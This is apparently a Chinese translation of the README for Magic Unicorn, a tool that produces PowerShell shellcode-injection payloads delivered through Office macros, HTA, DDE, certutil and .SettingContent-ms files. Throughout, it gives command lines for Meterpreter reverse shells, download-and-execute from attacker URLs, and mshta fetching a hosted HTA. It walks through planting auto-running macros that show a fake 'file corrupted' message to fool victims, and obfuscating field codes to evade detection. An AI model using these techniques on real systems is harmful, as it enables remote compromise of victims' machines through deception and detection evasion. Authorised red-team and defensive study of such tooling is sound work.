
Unicorn 是一个简单的工具,用于实施 PowerShell 降级攻击并直接向内存注入 shellcode。基于 Matthew Graeber 的 PowerShell 攻击技术以及 David Kennedy(TrustedSec)和 Josh Kelly 在 Defcon 18 上展示的 PowerShell 绕过技术。
作者:Dave Kennedy (@HackingDave) 网站:https://www.trustedsec.com
Magic Unicorn 是一个简单工具,用于实施 PowerShell 降级攻击并将 shellcode 直接注入内存。基于 Matthew Graeber 的 PowerShell 攻击方法以及 David Kennedy(TrustedSec)和 Josh Kelly 在 Defcon 18 上展示的 PowerShell 绕过技术。
使用非常简单,只需运行 Magic Unicorn(确保已安装 Metasploit 且路径正确),Magic Unicorn 将自动生成一段 PowerShell 命令,你只需将 PowerShell 代码复制粘贴到命令行窗口或通过 payload 传递系统即可。Unicorn 支持自定义 shellcode、Cobalt Strike 和 Metasploit。
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn 攻击向量 -----------------------------
在任何 Windows 平台上的原生 x86 PowerShell 注入攻击。
作者:TrustedSec 的 Dave Kennedy (https://www.trustedsec.com)
Twitter:@TrustedSec, @HackingDave
致谢:Matthew Graeber, Justin Elze, Chris Gates
祝 Magic Unicorns 愉快。
用法:python unicorn.py payload reverse_ipaddr port <可选 hta 或 macro, crt>
PS 示例:python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS 下载/执行:python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
宏示例:python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
宏示例 CS:python unicorn.py <cobalt_strike_file.cs> cs macro
宏示例 Shellcode:python unicorn.py <path_to_shellcode.txt> shellcode macro
HTA 示例:python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA 示例 CS:python unicorn.py <cobalt_strike_file.cs> cs hta
HTA 示例 Shellcode:python unicorn.py <path_to_shellcode.txt>: shellcode hta
DDE 示例:python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT 示例:python unicorn.py <path_to_payload/exe_encode> crt
自定义 PS1 示例:python unicorn.py <path to ps1 file>
自定义 PS1 示例:python unicorn.py <path to ps1 file> macro 500
Cobalt Strike 示例:python unicorn.py <cobalt_strike_file.cs> cs (以 C# 格式导出 CS)
自定义 Shellcode:python unicorn.py <path_to_shellcode.txt> shellcode (格式化为 0x00)
帮助菜单:python unicorn.py --help
所有内容现在生成在两个文件中:powershell_attack.txt 和 unicorn.rc。文本文件包含将 PowerShell 攻击注入内存所需的全部代码。注意,你需要一个支持远程命令注入的地方。这通常可以通过 Excel/Word 文档、Metasploit 内的 psexec_commands、SQLi 等方式实现。你可以将此攻击用于许多场景。只需将 powershell_attack.txt 中的命令粘贴到任何命令提示符窗口或能够调用 PowerShell 可执行文件的地方,它就会为你返回一个 shell。此攻击还支持 windows/download_exec 作为 payload 方法,而不仅限于 Meterpreter payload。使用下载和执行功能时,只需运行 python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe,PowerShell 代码就会下载并执行该 payload。
请注意,你需要启用一个监听器来捕获攻击。
对于宏攻击,你需要进入文件、属性、功能区,然后选择开发工具。完成后,你会看到一个开发工具选项卡。创建一个新宏,命名为 Auto_Open,并将生成的代码粘贴进去。这样宏就会自动运行。请注意,会弹出一个消息提示用户文件已损坏,并自动关闭 Excel 文档。这是正常行为!这是为了让受害者误以为 Excel 文档已损坏。之后你应该通过 PowerShell 注入获得一个 shell。
如果你针对 Office365/2016+ 版本的 Word 部署此攻击,需要将输出代码的第一行从:
Sub Auto_Open()
修改为:
Sub AutoOpen()
宏本身的名称也必须使用“AutoOpen”而非旧的“Auto_Open”命名方式。
注意:粘贴到 Excel 时,如果添加了多余的空格,你需要删除变量“x”下每个 PowerShell 代码部分之后的多余空格,否则会出现语法错误!
HTA 攻击会自动生成两个文件:第一个是 index.html,它告诉浏览器使用 Launcher.hta,其中包含恶意的 PowerShell 注入代码。所有文件都导出到 hta_access/ 文件夹,共有三个主要文件:index.html、Launcher.hta 和 unicorn.rc 文件。你可以运行 msfconsole -r unicorn.rc 来启动 Metasploit 的监听器。
用户在使用 HTA 攻击时必须点击允许并接受,PowerShell 注入才能正常工作。
certutil 攻击向量由 Matthew Graeber (@mattifestation) 发现,它允许你获取一个二进制文件,将其转换为 base64 格式,然后在受害者机器上使用 certutil 将其转换回二进制文件。这种方法几乎适用于任何系统,允许你通过一个伪造的证书文件将二进制文件传输到受害者机器上。要使用此攻击,只需将一个可执行文件放置在 unicorn 的路径中,然后运行 python unicorn.py <exe_name> crt 来获取 base64 输出。完成后,转到 decode_attack/ 文件夹,其中包含相关文件。bat 文件是一个可以在 Windows 机器上运行的命令,用于将其转换回二进制文件。
此攻击方法允许你将任何 PowerShell 文件 (.ps1) 转换为编码命令或宏。
注意,如果选择宏选项,一个较大的 ps1 文件可能会超过 VBA 允许的换行符数量。你可以通过传递一个整数参数来更改每个 VBA 字符串中的字符数。
示例:
python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500
最后一个将使用 500 个字符的字符串而不是默认的 380 个,从而减少 VBA 中的换行符。
此攻击向量将生成 DDEAUTO 公式,用于放置到 Word 或 Excel 中。COM 对象 DDEInitilize 和 DDEExecute 允许直接在 Office 中创建公式,从而能够在无需宏的情况下实现远程代码执行。此攻击已有文档记录,完整说明可在以下地址找到:
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
要使用此攻击,请运行以下示例:
python unicorn.py <payload> <lhost> <lport> dde
python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde
生成后,会生成 powershell_attack.txt(包含 Office 代码)和 unicorn.rc 文件(监听器组件,可通过 msfconsole -r unicorn.rc 调用来处理 payload 的监听器)。此外还会导出一个 download.ps1 文件(后文有说明)。
要应用此 payload,以 sensepost 文章为例:
打开 Office 文档后,你应该通过 PowerShell 注入获得一个 shell。注意 DDE 对字符大小有限制,我们需要使用 Invoke-Expression (IEX) 作为下载方法。
DDE 攻击会尝试下载 download.ps1(即我们的 PowerShell 注入攻击代码),因为字符大小有限制。你需要将 download.ps1 移动到受害者机器可以访问的位置。这意味着你需要将 download.ps1 托管在 Apache2 目录中,并确保受害者可以访问。
你可能会注意到一些命令使用了“{ QUOTE”,这些是隐藏特定命令的方法,相关文档在这里:http://staaldraad.github.io/2017/10/23/msword-field-codes/。在这里,我们修改了 WindowsPowerShell、powershell.exe 和 IEX 以避免检测。另外,请查看该 URL,它提供了一些不调用 DDE 的好方法。
此方法将直接从 Cobalt Strike 导入 Cobalt Strike Beacon shellcode。
在 Cobalt Strike 中,导出 Cobalt Strike 的“CS”(C#)导出格式,并保存到文件中。例如,将文件命名为 cobalt_strike_file.cs。
导出代码看起来像这样:
接下来,使用方法:
python unicorn.py cobalt_strike_file.cs cs
cs 参数告诉 Unicorn 你想要使用 Cobalt Strike 功能。剩下的就是魔法了。
接下来只需将 PowerShell 命令复制到你拥有远程命令执行能力的地方。
注意:文件必须以 C# (CS) 格式从 Cobalt Strike 导出,才能正确解析。
此攻击有一些注意事项。注意 payload 大小会超过 14k+ 字节。这意味着如果你从命令行参数角度复制粘贴,你会受到 8191 字符大小限制(硬编码在 cmd.exe 中)。如果你直接从 cmd.exe 启动,这会是个问题,但如果你直接从 PowerShell 或其他常规应用程序启动,则不成问题。
以下是几个例子,wscript.shell 和 powershell 使用 USHORT - 65535 / 2 = 32767 大小限制:
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
对于此攻击,如果你直接从 powershell、VBScript (WSCRIPT.SHELL) 启动,则没有问题。
此方法允许你将自定义 shellcode 插入 Unicorn 攻击中。PowerShell 代码会增加 powershell.exe 的栈空间(通过 VirtualAlloc)并将其注入内存。
请注意,为了使此方法生效,你指向 Unicorn 的 txt 文件必须按以下格式格式化,否则将无法工作:
0x00,0x00,0x00 等等。
另外注意大小限制。PowerShell 命令的总长度不能超过 8191 个字符。这是 Windows 中命令行参数的最大大小限制。
用法:
python unicorn.py shellcode_formatted_properly.txt shellcode
接下来只需将 PowerShell 命令复制到你拥有远程命令执行能力的地方。
注意:文件必须以 0x00,0x00,0x00 类型格式正确格式化,并且 txt 文件中不能包含除 shellcode 以外的任何内容。
此攻击有一些注意事项。注意如果你的 payload 大小较大,它将无法放入 cmd.exe。这意味着如果你从命令行参数角度复制粘贴,你会受到 8191 字符大小限制(硬编码在 cmd.exe 中)。如果你直接从 cmd.exe 启动,这会是个问题,但如果你直接从 PowerShell 或其他常规应用程序启动,则不成问题。
以下是几个例子,wscript.shell 和 powershell 使用 USHORT - 65535 / 2 = 32767 大小限制:
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
对于此攻击,如果你直接从 powershell、VBScript (WSCRIPT.SHELL) 启动,则没有问题。
首先,如果你还没看过,请务必查看 Matt Nelson (enigma0x3) 编写的精彩 SpectreOps 博客:
https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
此方法利用一种特定的文件类型“.SettingContent-ms”,该文件类型既支持从浏览器直接加载(打开 + 命令执行),也支持通过嵌入 Office 产品的方式进行扩展。这里我们主要关注 Unicorn PowerShell 攻击向量中用于命令执行的扩展类型设置。
此攻击向量支持多种方法。由于该攻击的字符大小有限,部署方法为 HTA。
要详细了解如何将此攻击武器化,请访问:
https://www.trustedsec.com/2018/06/weaponizing-settingcontent/
完成此攻击所需的步骤是:从独立模式或 HTA 模式生成 .SettingContent-ms 文件。HTA 方法支持 Metasploit、Cobalt Strike 以及直接的 shellcode 攻击。
下面四种使用方法:
HTA SettingContent-ms Metasploit:python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
HTA 示例 SettingContent-ms:python unicorn.py <cobalt_strike_file.cs cs ms
HTA 示例 SettingContent-ms:python unicorn.py <path_to_shellcode.txt>: shellcode ms
生成 .SettingContent-ms:python unicorn.py ms
第一个是 Metasploit payload,第二个是 Cobalt Strike,第三个是你自己的 shellcode,第四个是空白的 .SettingContent-ms 文件。
生成完成后,它会导出一个名为 Standalone_NoASR.SettingContent-ms 的文件,该文件可能位于默认的根 Unicorn 目录(如果使用独立文件生成)或 hta_attack/ 文件夹下。你需要编辑 Standalone_NoASR.SettingContent-ms 文件,将:
REPLACECOOLSTUFFHERE
替换为:
mshta http://<apache_server_ip_or_dns_name/Launcher.hta。
然后将 hta_attack 的内容移动到 /var/www/html。
一旦受害者点击了 .SettingContent-ms 文件,mshta 将在受害者机器上被调用,然后下载具有代码执行能力的 Unicorn HTA 文件。
特别感谢 Matt Nelson 的出色研究
另外请查看:https://www.trustedsec.com/2018/06/weaponizing-settingcontent/
用法:
python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
python unicorn.py <cobalt_strike_file.cs cs ms
python unicorn.py <patth_to_shellcode.txt>: shellcode ms
python unicorn.py ms